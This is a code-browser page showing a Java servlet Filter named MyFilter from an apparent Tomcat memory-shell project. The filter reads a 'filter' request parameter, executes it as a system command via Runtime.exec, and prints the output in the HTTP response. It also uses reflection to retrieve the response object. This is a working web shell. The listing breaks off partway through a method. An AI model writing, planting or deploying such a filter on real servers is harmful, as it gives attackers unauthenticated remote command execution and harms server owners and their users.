MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyFilter

Class MyFilter

TomcatMemShell/src/main/java/com/axisx/MyFilter.java:14–76  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

12import java.lang.reflect.Method;
13
14public class MyFilter implements Filter {
15 @Override
16 public void init(FilterConfig filterConfig) throws ServletException {
17
18 }
19
20 @Override
21 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
22 HttpServletRequest req = (HttpServletRequest)request;
23 HttpServletResponse resp = null;
24
25 try {
26 resp = this.getResponseFromRequest(req);
27 String cmd = req.getParameter("filter");
28 String result = this.CommandExec(cmd);
29 resp.getWriter().println(result);
30 } catch (Exception var8) {
31 var8.printStackTrace();
32 }
33
34 }
35
36 @Override
37 public void destroy() {
38
39 }
40
41 public String CommandExec(String cmd) throws Exception {
42 Runtime rt = Runtime.getRuntime();
43 Process proc = rt.exec(cmd);
44 InputStream stderr = proc.getInputStream();
45 InputStreamReader isr = new InputStreamReader(stderr);
46 BufferedReader br = new BufferedReader(isr);
47 String line = null;
48 StringBuffer sb = new StringBuffer();
49 while ((line = br.readLine()) != null) {
50 sb.append(line + "\n");
51 }
52 return sb.toString();
53 }
54
55 public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
56 HttpServletResponse var2 = null;
57
58 try {
59 Field var3 = var1.getClass().getDeclaredField("response");
60 var3.setAccessible(true);
61 var2 = (HttpServletResponse)var3.get(var1);
62 } catch (Exception var8) {
63 try {
64 Field var4 = var1.getClass().getDeclaredField("request");
65 var4.setAccessible(true);
66 Object var5 = var4.get(var1);
67 Field var6 = var5.getClass().getDeclaredField("response");
68 var6.setAccessible(true);
69 var2 = (HttpServletResponse)var6.get(var5);
70 } catch (Exception var7) {
71 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected